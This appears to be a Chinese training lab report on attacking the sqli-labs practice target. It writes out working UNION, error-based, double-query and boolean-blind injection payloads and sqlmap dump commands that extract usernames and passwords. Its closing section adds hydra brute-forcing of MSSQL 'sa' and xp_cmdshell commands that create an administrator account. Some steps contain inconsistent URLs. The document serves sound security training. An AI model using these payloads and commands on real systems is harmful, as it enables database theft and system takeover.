SQL注入环境搭建及多种注入类型测试实验

 SQL注入漏洞基础概念

1.1 SQL注入原理

SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,它目前是黑客对数据库进行攻击的最常用手段之一。

1.2 SQL注入漏洞分类

常见的 Sql 注入漏洞主要包括字符型、数字型、Post注入、双注入、报错注入、布尔盲注六种类型。

1.3 常用数据库注入及工具

对大多数数据库而言,SQL注入的原理基本相似,因为每个数据库都遵循着一个SQL语法标准,但他们之间也存在许多细微的差异,包括语法、函数的不同,其利用方式可以归为几大类:查询数据、读写文件、执行命令,在权限允许的情况下,通常数据库都支持以上三种操作。

常用的注入工具有:

(1)SQLMap:开源开放源码的渗透测试工具,可以自动检测和利用SQL注入漏洞。

SQLMap的特点如下:

●数据库支持MySQL、Oracle、PostgreSQL、Microsoft Server、Microsoft Access、IBMDB2、SQLite、Firebird、Sybase和SAP MaxDB。

●SQL注入类型包括SQL盲注、UNION注入、显错式注入、时间盲注、盲推理注入和堆查询注入等技术。

●支持枚举用户、密码哈希、权限、角色、数据库、表和列。

●支持执行任意命令。

●自动识别密码加密方式,并且可以使用字典解密。

●支持数据导出功能。

(2)Pangolin(穿山甲):可帮助渗透测试人员进行SQL注入测试的安全工具,能够通过一系列非常简单的操作,达到最大化的攻击测试效果。

Pangolin(穿山甲)的特点如下:

●全面的数据库支持,包括Access、DB2、Informix、Microsoft SQL Server 2000/2005/2008、MySQL、Oracle、PostgreSQL、Sqlite3和Sybase。

●自动关键字分析能够减少人为操作,且判断结果更准确。

●预登录功能,在需要验证的情况下继续注入。

●支持HTTPS。

●自定义HTTP标题头功能。

●丰富的绕过防火墙过滤功能。

●数据导出功能。

●测试过程简单,易操作。

(3)Havij:自动化的SQL注入工具,能够帮助渗透测试人员发现Web应用程序的SQL注入漏洞,具有友好的可视化界面。

Havij的特点如下:

●支持广泛的数据库,包括SQL Server、MySQL、Access、Oracle。

●支持参数配置以躲避IDS,支持代理、后台登录地址扫描。

●能够自动挖掘可利用的SQL注入。

●可识别后台数据库类型、检索数据库的用户名和密码、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令。

二、实验目的及环境

2.1 实验目的

1. 搭建SQL注入漏洞测试实验环境。

2. 测试不同类型的SQL注入漏洞。

2.1 实验要求

1. 本实验需安装Windows系统。

2. 本实验需安装Kali系统。

2.1 实验设备及环境

1. 火狐浏览器

2. HackBar插件

3. phpstudy工具

4. sqil-labs靶场

SQL注入环境搭建多种注入类型测试实验

3.1 搭建sql注入实验环境

3.1.1.基本信息

•利用phpstudy工具搭建靶场,并安装火狐浏览器和HackBar插件。

3.1.2.操作步骤解析

1. 下载火狐浏览器,安装HackBar插件。

(1)下载火狐浏览器并取消扩展设置中的自动更新。

(2)在扩展板块中安装HackBar插件。

(3)关闭HackBar插件自动更新功能。

 

2. 下载phpstudy工具,将sqli-labs在电脑上跑通。

(1)下载phpstudy工具,将sqli-labs-master靶场添加到C:\phpstudy_pro\WWW目录下。

(2)开启NginxMysql服务并新建网站,设置域名为localhost,选择已添加好的根目录sqli-labs-master,设置PHP版本为php5.4.45nts。

 NginxMysql服务已启动。

新建网站。

新建网站完成。

(3)修改数据库密码为123456并确认。

数据库密码修改成功。

(4)通过C:\phpstudy_pro\WWW\sqli-labs-master\sql-connections路径,找到db-creds文件,将该文件中的dbpass字段修改为123456

修改数据库密码成功。

3. 使用VMWare或Virtualbox虚拟化软件安装Kali系统。

4. SQL注入实验环境搭建成功。

5. 测试sqli-labs中的less-1环境。

(1)sqli-labs中的less-1环境测试成功。

Hackbar插件安装成功。

3.1.3.总结

  在本小节中,利用phpstudy工具搭建靶场,开启Nginx和Mysql服务,新建网站并修改数据库密码及配置文件,安装火狐浏览器和HackBar插件并测试sqli-labs中的less-1环境。

3.2 字符型

3.2.1.基本信息

•靶机地址:192.168.1.9/Less-1

•⽬标:通过SQL注⼊获取⽬标数据库中的数据

3.2.2.操作步骤解析

3.2.2.1手工注入

1. 测试http://192.168.1.9/Less-1/?id=1可以正常打开。

2. 使用单引号、双引号分别对该地址进行url测试。

单引号url测试:

双引号url测试:

测试地址http://192.168.1.9/Less-1/?id=1' 出现错误提示,再次尝试http://192.168.1.9/Less-1/?id=1”发现可以正常访问,据此判断存在单引号字符型注⼊。

3. 进行注释加空格“--+”测试,表示注释掉后面的SQL语句,其命令为:

http://192.168.1.9/Less-1/?id=1' --+

输⼊http://192.168.1.9/Less-1/?id=1' or 1=1 " --+执⾏的是下列语句(“+”在url中表示空格,“--”在sql中表示注释⾏) 。

SELECT * FROM users WHERE id='1' or 1=1 -- ' LIMIT 0,1

4. 使用Order by语句进行字段数量测试,通过二分法,最终发现可返回三个字段,其命令为:http://192.168.1.9/Less-1/?id=1' order by 3 --+

5. ⼿⼯通过union拼接sql语句实现读取数据库信息。

(1)判断sql语句返回的字段数量,从2个字段开始猜,发现不正确,依次递增,其命令为:http://192.168.1.9/Less-1/?id=1024' union select 1,2,3 --+ 

(2)获取当前数据库名:只有union前⾯的语句不执⾏,后⾯的语句才能执⾏,其命令为:

http://192.168.1.9/Less-1/?id=1024' union select 1,database(),3  --+

获取数据库名security

(3)从information_schema.schemata数据库中获取所有数据库名称,其命令为: 

http://192.168.1.9/Less-1/?id=1024' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

获取information_schema.schemata数据库中所有数据库名称。

(4)从information_schema.tables获取数据库security数据库中的包含的数据表,包括 emails,referers,uagents,users 数据表,其命令为:

http://192.168.1.9/Less-1/?id=1024' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

security数据库中包含的数据表获取成功。

(5)从information.columns获取security.users数据表中的字段,包括 id,username,password信息字段,其命令为: 

http://192.168.1.9/Less-1/?id=1024' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

security.users数据表中的字段获取成功。

(6)从security.users中获取表中的数据,其命令为: 

http://192.168.1.9/Less-1/?id=1024' union select 1,group_concat(username),group_concat(password) from security.users --+

security.users表中数据usernamepassword获取成功。

3.2.2.2 SQLMap工具自动化注入

1. 测试该靶机地址是否存在SQL注入,其命令为:

sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --batch

(1)对该网址进行基本扫描,获取基本信息。

 

发现其存在SQL注入漏洞,可用⽤SQLMap⼯具实现⾃动化注⼊。

2. 首先获取数据库类型,其命令为:

 sqlmap -u "http://192.168.1.9/Less-1/?id=1" --batch    

3. 获取所有数据库,其命令为: 

sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch

4. 获取security数据库下的数据表,其命令为: 

sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch

5. 获取security数据库中users数据表中的字段,其命令为: 

sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch

6. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:

sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch

3.2.3 总结

在本小节中,通过手工注入和SQLMap工具自动化注入两种注入方式进行字符型注入测试。手工注入测试主要包括单引号、双引号、注释符号等基本测试,并使用Order by语句进行字段数量测试,通过union拼接sql语句实现读取数据库信息。SQLMap工具自动化注入,首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。

3.3 数字型

3.3.1.基本信息

·靶机:192.168.1.9

·注⼊地址: http://192.168.1.9/Less-2/?id=1

·⽬标:获取数据库数据

3.3.2.操作步骤解析

3.3.2.1 手工注入

1. 尝试字符型注⼊,使⽤url测试http://192.168.1.9/Less-2/?id=1发现存在错误,尝试单引号和双引号,同样出错。

(1)url测试:http://192.168.1.9/Less-2/?id=1

(2)单引号测试: http://192.168.1.9/Less-2/?id=1

(3)双引号测试:http://192.168.1.9/Less-2/?id=1

 

根据上述推断为数字型注入。  

2. 尝试拼接sql,使⽤url测试http://192.168.1.9/Less-2/?id=1 or 1=1 --+

发现可以返回数据,据此推测id传⼊的是数字。

3. 使用Order by语句进行字段数量测试,通过二分法,最终发现可返回三个字段,其命令为:http://192.168.1.9/Less-2/?id=1' order by 3 --+

4. 尝试使⽤union联合查询,使⽤url测试http://192.168.1.9/Less-2/?id=1024 union select 1,database(),3 --+,可以查询出使⽤的数据库为security

5. 采⽤字符型相同的思路和步骤分别获取数据库信息。 

(1)从information_schema.schemata数据库中获取所有数据库名称,其命令为: 

http://192.168.1.9/Less-2/?id=1024 union select 1,group_concat(schema_name),3 from information_schema.schemata --+ 

(2)从information_schema.tables获取数据库security数据库中的包含的数据表 emails,referers,uagents,users,其命令为: 

http://192.168.1.9/Less-2/?id=1024 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 

(3)从information.columns获取security.users数据表中的字段 id,username,password,其命令为: 

http://192.168.1.9/Less-2/?id=1024 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

(4)从security.users中获取表中的数据,其命令为: 

http://192.168.1.9/Less-2/?id=1024 union select 1,group_concat(username),group_concat(password) from security.users --+

3.3.2.2 SQLMap工具自动化注入

1. 测试该靶机地址是否存在SQL注入,其命令为:

sqlmap -u "192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --batch

(1)对该网址进行基本扫描,获取基本信息。

 

发现其存在SQL注入漏洞,可用⽤SQLMap⼯具实现⾃动化注⼊。

2. 首先获取数据库类型,其命令为: 

sqlmap -u "192.168.1.9/Less-2/?id=1" --batch

3. 获取所有数据库,其命令为: 

sqlmap -u "192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch

4. 获取security数据库下的数据表,其命令为: 

sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch

5. 获取security数据库中users数据表中的字段,其命令为: 

sqlmap -u "http://192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch

6. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:

sqlmap -u "http://192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch

3.3.3.总结

在本小节中,通过手工注入和SQLMap工具自动化注入两种注入方式进行数字型注入测试。手工注入测试主要包括单引号、双引号、尝试拼接sql等基本测试,并使用Order by语句进行字段数量测试,通过使⽤union联合查询实现读取数据库信息。SQLMap工具自动化注入首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。

3.4 Post型注入

3.4.1.基本信息

·靶机:192.168.1.9

·注⼊地址: http://192.168.1.9/Less-11/?id=1

·⽬标:获取数据库数据

3.4.2.操作步骤解析

3.4.2.1 手工注入 

1. 靶场开始界面为表单输入提交形式。

2. 首先填入表单测试数据并提交,利用检查工具发现其为POST请求方式并可以看到已提交的表单数据。

3. 在Username数据框中填入' or 1 #测试,发现执行成功并返回相应数据库语句。

4. 在Kali系统中打开Burp Suite工具并进行相关基础配置。

5. 打开火狐浏览器,设置代理网关为127.0.0.1,测试端口为8080,并开启代理。

6. 开启Intercept

7. 在网页端提交测试数据,自动跳转到Burp Suite测试界面并显示刚提交的表单数据。

3.4.2.2 SQLMap工具自动化注入

1. 使⽤Burp Suite抓取post数据,保存到⽂件less11.txt

2. 测试该靶机地址是否存在SQL注入,其命令为:

sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --batch

(1)对该网址进行基本扫描,获取基本信息。

发现其存在SQL注入漏洞,数据库使⽤的是mysql,可⽤SQLMap⼯具实现⾃动化注⼊。

3. 首先获取数据库类型,其命令为: 

sqlmap -r "~/Desktop/less11.txt" --batch

4. 获取所有数据库,其命令为: 

sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch

5. 获取security数据库下的数据表,其命令为: 

sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch

6. 获取security数据库中users数据表中的字段,其命令为: 

sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch

7. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:

sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch

3.3.3.总结

在本小节中,靶场开始界面为表单输入提交形式。首先通过单引号、双引号、' or 1 #等基本测试发现其为POST型注入,对Burp Suite工具进行相关基础配置并利用其抓取post数据,保存到⽂件less11.txt,然后使用SQLMap工具自动化注入,先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。

3.5 双注入

3.5.1.基本信息

·靶机:192.168.1.9

·注⼊地址:http://192.168.1.9/Less-5/?id=1

·原理:双注⼊就是嵌套⼦查询,多⾛⼀条查询或者数据排序途径,获取想要的数据。当⼀个字符串函数,例如concat函数后⾯如果使⽤分组语句就会把查询的⼀部分以错误(在错误出插⼊select查询语句,将数据查询出来 )的形式显示出来。

·基础知识回顾

-- 随机函数: rand() 返回0到1之间的随机数。 

-- 向下取整: floor(a) 返回⼩于等于a。 

-- 聚合函数: count() 返回查询对象的总数。 

-- 分组函数: group by condation 根据条件对结果进⾏分组,与聚合函数搭配使⽤。

3.5.2.操作步骤解析

3.5.2.1 手工注入

1. 靶场开始界面为表单输入提交形式。

2. 使⽤单引号和双引号判断注⼊类型,发现是使⽤单引号的字符型注⼊。

(1)基本注入测试:http://192.168.1.9/Less-5/?id=1

(2)单引号注入测试:http://192.168.1.9/Less-5/?id=1'

(3)双引号注入测试:http://192.168.1.9/Less-5/?id=1"

(4)单引号+双引号注入测试:http://192.168.1.9/Less-5/?id=1'"

最终发现为单引号数字型注入。

2. 判断查询的字段数量,使⽤url 测试:http://192.168.1.9/Less-5/?id=1' order by 1 --+ 从数字1,10变换,然后取中位数,发现是查询了3个字段。

 

最终确定为三个字段http://192.168.1.9/Less-5/?id=1' order by 3 --+

3. 使⽤union联合查询,使⽤的url是http://192.168.1.9/Less-5/?id=1' union select 1,2,3 --+和http://192.168.1.9/Less-5/?id=1' union select 1,2,database() --+发现没有报错。 

http://192.168.1.9/Less-5/?id=1' union select 1,2,3 --+

http://192.168.1.9/Less-5/?id=1' union select 1,2,database() --+

4. 尝试从 information_schema中查询出当前使⽤的数据库中的数据表信息,使⽤的url 是http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),version()) --+,反复执⾏⼏次,会发现version() 中的内容会出现。

5. 利⽤步骤4中的发现,将 version() 内容改为查询sql语句,将当前使⽤的数据库查询出,使⽤的url是http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),(database())) --+

6. 同样的操作,继续查询数据库中的表、表中的字段、以及表中的数据;

(1)查询数据库中的数据表,其命令为: 

http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) --+

(2)查询表中的字段,其命令为: 

http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),(select group_concat(column_name) from information_schema.columns where table_name='users')) --+

(3)逐条查询表中的数据,其命令为: 

http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),(select username from users limit 0,1)) --+

上述操作在Burp Suite工具中也可以执行。

3.5.2.2 SQLMap工具自动化注入

1. 测试该靶机地址是否存在SQL注入,其命令如下:

sqlmap -u "192.168.1.9/Less-5/?id=1" --risk 3 --level 5 --random-agent --batch

(1)对该网址进行基本扫描,获取基本信息。

发现其存在SQL注入漏洞,可用⽤SQLMap⼯具实现⾃动化注⼊。

2. 首先获取数据库类型,其命令为: 

sqlmap -u "192.168.1.9/Less-5/?id=1" --batch    

3. 获取所有数据库,其命令为: 

sqlmap -u "192.168.1.9/Less-5/?id=1" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch

4. 获取security数据库下的数据表,其命令为:  

sqlmap -u "http://192.168.1.9/Less-5/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch

 

5. 获取security数据库中users数据表中的字段,其命令为: 

sqlmap -u "http://192.168.1.9/Less-5/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch

6. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:

 sqlmap -u "http://192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch

 

3.5.3.总结

在本小节中,靶场开始界面为表单输入提交形式,通过手工注入和SQLMap工具自动化注入两种注入方式进行双注入测试。手工注入测试主要包括单引号、双引号、尝单引号+双引号等基本注入测试,最终发现为单引号数字型注入,然后使用Order by语句进行字段数量测试,通过使⽤union联合查询实现读取数据库信息。SQLMap工具自动化注入首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。

3.6 报错注入

3.6.1.基本信息

·基础知识回顾:

-- 对xml⽂档查询函数,参数xpath处传⼊要查询的xpath路径,如果路径输⼊错误,则将错误的xpath路径输出: extractvalue(documnt,xpath)

-- 更新xml⽂档,操作同extractvalue函数:  

updatexml(ducument,xpath,update_content)

·靶机: 192.168.1.9 

·注⼊地址: http://192.168.1.9/Less-12/

3.6.2.操作步骤解析

3.6.2.1 手工注入

1. 靶场开始界面为表单输入提交形式。

2. 打开火狐浏览器,设置代理网关为127.0.0.1,测试端口为8080,并开启代理。 

3. 开启Intercept。 

4. 在BurpSuite中开启抓包,在浏览器中输⼊任意的⽤户名和密码。

表单数据如下:

5. 在BurpSuite⼯具中,将数据发送到重复抓包,测试是否存在注⼊。 

6. 分别使⽤ ',"" 测试发现存在注⼊,sql语句中使⽤的是 "()" 的形式。

(1)将抓取的数据发送到Repeater进行改报抓包。

(2)分别使⽤ ',"" 测试发现存在注⼊,sql语句中使⽤的是 "()" 的形式。

7. 使⽤ order by查询出sql语句查询的字段数量;

uname=") order by 2 --+&passwd=123456&submit=Submit

8. 使⽤ union联合查询,在查询的sql语句中分别使⽤ extractvlaue,updatexml两个函数的错误提示功能,构造select查询语句。

(1)对xml⽂档查询函数,参数xpath处传⼊要查询的xpath路径,如果路径输⼊错误,则将错误的xpath路径输出。extractvalue(documnt,xpath)

(2)更新xml⽂档,操作同extractvalue函数。 

updatexml(ducument,xpath,update_content)

(3) 执⾏错误的查询。 

uname=") union select 1,extractvalue("anything","~")from information_schema.tables --+&passwd=123456&submit=Submit

(4)将错误的xpath路径换为要查询的sql语句。 

uname=") union select 1,extractvalue("anything",(select group_concat(table_name) from information_schema.tables where table_schema=database())) from information_schema.tables --+&passwd=123456&submit=Submit

(5) 查询数据表的字段。 

uname=") union select 1,extractvalue("anything",(select group_concat(column_name) from information_schema.columns where table_name='users')) from information_schema.tables --+&passwd=123456&submit=Submit

(6)查询数据表中的数据。 

uname=") union select 1,updatexml("anything",concat("~",(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'limit 0,1)),"anything") from information_schema.tables --+&passwd=123456&submit=Submit

3.6.2.2 SQLMap工具自动化注入

1. 将该抓包信息保存为文本文件,命名为less12.txt

2. 测试该靶机地址是否存在SQL注入,其命令如下:

sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --batch

(1)对该网址进行基本扫描,获取基本信息。

发现其存在SQL注入漏洞,可用⽤SQLMap⼯具实现⾃动化注⼊。

3. 首先获取数据库类型,其命令为: 

sqlmap -r "~/Desktop/less12.txt"  --batch 

4. 获取所有数据库,其命令为: 

sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch  

5. 获取security数据库下的数据表,其命令为: 

sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch

 

6. 获取security数据库中users数据表中的字段,其命令为: 

sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch

7. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:

sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch

3.6.3.总结

在本小节中,靶场开始界面为表单输入提交形式,通过手工注入和SQLMap工具自动化注入两种注入方式进行双注入测试。手工注入测试利用BurpSuite工具进行抓包,然后使用Order by语句进行字段数量测试,通过使⽤union联合查询,在查询的sql语句中分别使⽤ extractvlaue,updatexml两个函数的错误提示功能,构造select查询语句以实现读取数据库信息。SQLMap工具自动化注入首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。

3.7 布尔盲注

3.7.1.基本信息

·靶机 192.168.1.9

·注⼊: http://192.168.1.9/Less-15

·介绍:基于布尔型SQL盲注即在SQL注⼊过程中,应⽤程序仅仅返回 True(⻚⾯)和 False (⻚⾯)。 这时,我们

⽆法根据应⽤程序的返回⻚⾯得到我们需要的数据库信息。但是可以通过构造逻辑判断(⽐较⼤⼩)来得到我们需要

的信息。

·知识回顾

-- 返回字符串的⻓度: length(str)

-- 字符截取函数:从指定位置从字符串中截取指定⻓度的字符:  

substring(str,pos,len)

-- ascii码函数:返回字符的ascii码: ascii()

3.7.2.操作步骤解析

3.7.2.1 手工注入

1. 靶场开始界面为表单输入提交形式。

2. 在输⼊框内输⼊⽤户名和密码,⻚⾯返回登陆失败。

3. 在⽤户名中尝试输⼊单引号,⻚⾯返回登陆失败,双引号同样,没有任何数据库的报错信息。 

单引号测试:

双引号测试:

4. 尝试使⽤布尔盲注的sql测试语句 1' or 1=1 # 发现登陆成功,⻚⾯存在布尔注⼊。 

5. 尝试构造sql语句获取数据库信息;

(1)判断数据库字符⻓度:1' or length(database())>4 #

(2)确定数据库的第⼀个字⺟:1' or ascii(substring(database(),1,1))>'a' #

测试:1' or ascii(substring(database(),1,1))=100 #

6. 尝试使⽤BurpSuite爆破数据库。

(1)将抓取的Post数据发送到Intruder并设置爆破模式为Sniper(狙击手)

(2)设置爆破范围为1-128,步长为1

(3)当Payload115时,长度与其他Payload不同,推测第一个字符为ascii码为115的字符s

测试:1' or ascii(substring(database(),1,1))=115 #

3.7.2.2 SQLMap工具自动化注入

1. 使⽤BurpSuite工具抓取post数据,保存到⽂件less15.txt

2. 测试该靶机地址是否存在SQL注入,其命令为:

sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --batch

(1)对该网址进行基本扫描,获取基本信息。

发现其存在SQL注入漏洞,数据库使⽤的是mysql,可⽤SQLMap⼯具实现⾃动化注⼊。

3. 首先获取数据库类型,其命令为:

sqlmap -r "~/Desktop/less15.txt" --batch

4. 获取所有数据库,其命令为: 

sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch 

5. 获取security数据库下的数据表,其命令为: 

sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch

 

6. 获取security数据库中users数据表中的字段,其命令为: 

 sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch

7. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:

sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch

3.7.3.总结

   在本小节中,靶场开始界面为表单输入提交形式,通过手工注入和SQLMap工具自动化注入两种注入方式进行双注入测试。手工注入测试首先在输⼊框内输⼊⽤户名和密码、单引号、双引号,⻚⾯返回登陆失败,尝试使⽤布尔盲注的sql测试语句 1' or 1=1 # 发现登陆成功,⻚⾯存在布尔注⼊,则利用构造sql语句获取数据库信息,同时使⽤BurpSuite爆破数据库,最终获得数据库的第⼀个字⺟为s。SQLMap工具自动化注入首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。

课程总结与体会

4.1 实验总结

在本次实验中,针对不同类型的SQL注入漏洞,包括字符型、数字型、POST注入型、双注入、报错注入、布尔盲注,通过手工注入和SQLMap工具自动化注入两种注入方式进行注入测试。在手工注入测试中,通过利用HackBar插件和BurpSuite⼯具进行单引号、双引号、注释空格等基本测试,判断其存在各种类型的SQL注入漏洞,然后利用Order by和union语句构造sql语句获取数据库信息或者使用BurpSuite⼯具爆破数据库。在SQLMap工具自动化注入测试中,首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。

4.2 实验体会

在此次SQL注入环境搭建和多种注入类型测试实验中,通过手工注入和SQLMap工具自动化注入两种注入方式对不同类型的SQL注入漏洞进行测试,掌握了HackBar插件的用法和SQL漏洞基本测试技巧,回顾了Burp Suite工具和SQLMap工具的基本用法,对SQL注入漏洞的类型、测试、解析有了更为深刻的理解。

实验内容整体回顾

5.1 Sql注入

1. Sql注入主要目的:通过sql注入访问数据库,来寻找管理员的账户密码。

2.常见字段命名:

用户名:username   user   name   uname  uid

密码:password    pass  pwd  mima  

管理员表:admin   system  login

管理后台:admin     login    webadmin

后台用户名:admin   webadmin    system    guanli

3. sqlmapsqlmap是渗透测试工作中常用的sql注入漏洞利用工具。

4.sqlmap常见参数:

-u    //url

-tables -D "Microsoft Access"

--columns -T "表" -D "Microsoft Access"

--dump -C 字段 -T 表 -D "Microsoft Access"

--batch    //默认执行

--dbs    //列举数据库

--current-db   //查看当前数据库

--tables -D "目标数据库"

--columns -T "表" -D "目标数据库"

--dump -C 字段 -T 表 -D "目标数据库"

--threads  5  //线程

--current-user   //查看当前用户

--os-shell     // 系统命令执行环境

--os-cmd="命令"   //同上

--sql-shell    //数据库命令执行环境

sqlmap   -r     //-r参数,读取文件,主要用来测试POST数据包中是否存在注入

5. sql注入漏洞常见的位置:动态链接(URL地址)、留言板、搜索框、登录框。只要和数据库有交互的地方,都有可能出现SQL注入漏洞

6. 两种提交方式:

  GET方式:是通过浏览器,URL地址来提交数据。

POST方式:是通过表单的方式来提交数据,在url地址当中,提交参数不可见。

5.2 数据库远程登录

1. MSSQL数据库,默认用户为sa

  相关破解命令:hydra.exe -l sa -P 你的密码字典 -V 目标IP地址 mssql。

2.常见脚本类型:aspphpjspaspx

3.如果破解成功MSSQL数据库,可以通过数据库管理工具进行远程登录。

 相关命令如下:

exec master..xp_cmdshell "你要执行的操作系统命令"

net user   //查看用户

net user 你要创建的用户名 要设定的密码 /add    //创建用户,并设定密码

net localgroup administrators 你创建的用户 /add   //将用户划分到管理员组

4. MSSQL数据库要知道的几个问题:

①sa用户是默认用户;

②在MSSQL 2008以前版本中,sa用户为最高权限;

③在MSSQL 2005以及2005以后的版本中,xp_cmdshell存储过程已经被禁用了。

5. MySQL相关知识

MySQL:默认用户:root

RDP远程桌面(3389):administrator

SSH(22):root

telnet(23):administrator,root

hydra常用参数:

-l     指定用户名                 -L    用户名字典

-V    将结果以列表形式展示       -P    密码字典

-p    指定密码                   

 

  • 3
    点赞
  • 47
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值